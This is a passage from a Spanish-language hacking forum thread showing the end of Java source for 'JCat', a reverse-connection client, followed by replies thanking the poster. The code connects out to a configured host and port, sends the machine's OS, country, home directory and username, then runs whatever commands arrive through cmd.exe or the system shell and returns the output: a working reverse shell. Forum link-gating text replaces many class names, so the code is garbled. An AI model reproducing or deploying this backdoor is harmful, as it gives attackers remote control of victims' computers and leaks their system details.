  645.     private You are not allowed to view links. Register or Login userName = You are not allowed to view links. Register or Login.getProperty ( "user.name" );
  646.     private You are not allowed to view links. Register or Login VersionJV = You are not allowed to view links. Register or Login.getProperty ( "java.vm.version" );
  647.  
  648.     private You are not allowed to view links. Register or Login[] arrayDatos = {osName, Arch, Version, SP, Country, dirUserHome, Lang, userName, VersionJV};
  649.  
  650.     ConexionInversaCliente(){
  651.         HASH = (rnd.nextInt() * 10000);
  652.         contador=0;
  653.     }
  654.  
  655.     public void run() {
  656.         You are not allowed to view links. Register or Login ip = JCat.IP;
  657.         int puerto = JCat.You are not allowed to view links. Register or Login;
  658.         try {
  659.             You are not allowed to view links. Register or Login.out.println("\n*---------------------------------*");
  660.             You are not allowed to view links. Register or Login.out.println("*       Conexión I. CLIENTE       *");
  661.             You are not allowed to view links. Register or Login.out.println("*---------------------------------*");
  662.             while (true) {
  663.  
  664.             conexion4 = new You are not allowed to view links. Register or Login(ip, puerto);
  665.  
  666.             try {
  667.                 You are not allowed to view links. Register or Login entrada = new You are not allowed to view links. Register or Login(conexion4.getInputStream());
  668.                
  669.                 You are not allowed to view links. Register or Login salida = new You are not allowed to view links. Register or Login(conexion4.getOutputStream());
  670.  
  671.                 salida.writeInt(HASH);
  672.  
  673.                 if(contador==0){
  674.                 contador++;
  675.                 for(int i=0;i<arrayDatos.length;i++)
  676.                 if(arrayDatos[i]==null)
  677.                 arrayDatos[i]="null";
  678.                 salida.writeUTF("| S.O.: " + arrayDatos[0] + "\n| Arquitectura: " + arrayDatos[1] + "\n| Version: " + arrayDatos[2]
  679.                 + "\n| Service Pack: " + arrayDatos[3] + "\n| Pais: " + arrayDatos[4] + "\n| Dir User Home: " + arrayDatos[5] + "\n| Lenguaje: "
  680.                 + arrayDatos[6] + "\n| Nombre Usuario: " + arrayDatos[7] + "\n| Java Version: " + arrayDatos[8]);
  681.                 }
  682.                
  683.                 You are not allowed to view links. Register or Login.out.println("\nConexion realizada...");
  684.                 You are not allowed to view links. Register or Login.out.println("\nEscriba en el Servidor...");
  685.                 You are not allowed to view links. Register or Login.out.println("Mi Identificador: "+HASH);
  686.  
  687.                 You are not allowed to view links. Register or Login comando = entrada.readUTF();
  688.  
  689.                 You are not allowed to view links. Register or Login.out.println("Comando del Cliente: " + comando);
  690.                 new Ejecutor().executeCommand(comando, false, conexion4);
  691.                 try {
  692.                     this.sleep(2000);
  693.                 } catch (You are not allowed to view links. Register or Login exa) {
  694.                     You are not allowed to view links. Register or Login.out.println(exa);
  695.                 }
  696.             } catch (You are not allowed to view links. Register or Login ex) {
  697.                 You are not allowed to view links. Register or Login.out.println(ex.getMessage());
  698.             }
  699.  
  700.             }
  701.         } catch (You are not allowed to view links. Register or Login ex) {
  702.             You are not allowed to view links. Register or Login.out.println("Mensaje de Error! -> "+ex.getMessage());
  703.             if(ex.getMessage().equals("Can't assign requested address")){
  704.                 You are not allowed to view links. Register or Login.out.println("Muy seguido esperando 3 segundos antes de intentar conectar de nuevo con el servidor\n");
  705.                 try {
  706.                     this.sleep(3000);
  707.                 } catch (You are not allowed to view links. Register or Login exa) {
  708.                     You are not allowed to view links. Register or Login.out.println(exa);
  709.                 }
  710.  
  711.                 ConexionInversaCliente a = new ConexionInversaCliente();
  712.                 a.start();
  713.             }
  714.             if(ex.getMessage().equals("Connection refused")){
  715.  
  716.                 You are not allowed to view links. Register or Login.out.println("No encontrado servidor a la escucha\n");
  717.             }
  718.         }
  719.  
  720.     }
  721. }
  722.  
  723. class Ejecutor{
  724.     private You are not allowed to view links. Register or Login commandShell;
  725.     private You are not allowed to view links. Register or Login conexion3;
  726.     public void executeCommand(You are not allowed to view links. Register or Login command, boolean flagbackground, You are not allowed to view links. Register or Login socket)  {
  727.  
  728.         commandShell = null;
  729.         conexion3 = socket;
  730.         try {
  731.             You are not allowed to view links. Register or Login salida = new You are not allowed to view links. Register or Login(conexion3.getOutputStream());
  732.  
  733.             You are not allowed to view links. Register or Login osName = You are not allowed to view links. Register or Login.getProperty("os.name");
  734.  
  735.             if (osName.equals("Windows NT")) {
  736.                 commandShell = "cmd.exe /C " + command;
  737.             } else if (osName.equals("Windows 95") || osName.equals("Windows 98")) {
  738.                 commandShell = "start " + command;
  739.             } else {
  740.  
  741.                 if (flagbackground) {
  742.                     commandShell = "" + command + " &";
  743.                 } else {
  744.                     commandShell = "" + command;
  745.                 }
  746.             }
  747.  
  748.             try {
  749.                 You are not allowed to view links. Register or Login proc = You are not allowed to view links. Register or Login.getRuntime().exec(commandShell);
  750.                 You are not allowed to view links. Register or Login brStdOut = new You are not allowed to view links. Register or Login(new You are not allowed to view links. Register or Login(proc.getInputStream()));
  751.                 You are not allowed to view links. Register or Login brStdErr = new You are not allowed to view links. Register or Login(new You are not allowed to view links. Register or Login(proc.getErrorStream()));
  752.                 You are not allowed to view links. Register or Login str;You are not allowed to view links. Register or Login strTodo= "";
  753.                 while ((str = brStdOut.readLine()) != null) {
  754.  
  755.                     strTodo+=str+"\n";  
  756.                 }
  757.  
  758.                 salida.writeUTF("\tResponse: "+strTodo);
  759.                 brStdOut.close();
  760.                 brStdErr.close();
  761.             } catch (You are not allowed to view links. Register or Login eproc) {
  762.                 You are not allowed to view links. Register or Login.out.println("Comando desconocido ");
  763.                 salida.writeUTF("\tResponse: Comando desconocido\n");
  764.  
  765.             }
  766.         } catch (You are not allowed to view links. Register or Login ex) {
  767.  
  768.             You are not allowed to view links. Register or Login.out.println(ex.getMessage());
  769.         }
  770.  
  771.     }
  772. }
  773.  

Fuente: code-disaster.blogspot.com
« Última modificación: Diciembre 15, 2015, 07:14:02 pm por Expermicid »

Desconectado Pr0ph3t

  • *
  • Underc0der
  • Mensajes: 443
  • Actividad:
    0%
  • Reputación 0
  • © Underc0de Team
  • Skype: thebrowfc
    • Ver Perfil

Re:JCat Conexión Inversa y Directa

  • en: Octubre 16, 2012, 01:32:02 pm
Se ve bueno. Gracias por traerlo.
Twitter: @The_Pr0ph3t
[email protected]

Desconectado hdbreaker

  • *
  • Ex-Staff
  • *****
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
  • Skype: hdbreaker96
  • Twitter: @SecSignal
    • Ver Perfil
    • Security Signal
    • Email

Re:JCat Conexión Inversa y Directa

  • en: Octubre 17, 2012, 02:50:07 am
Buen Aporte! Gracias!

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo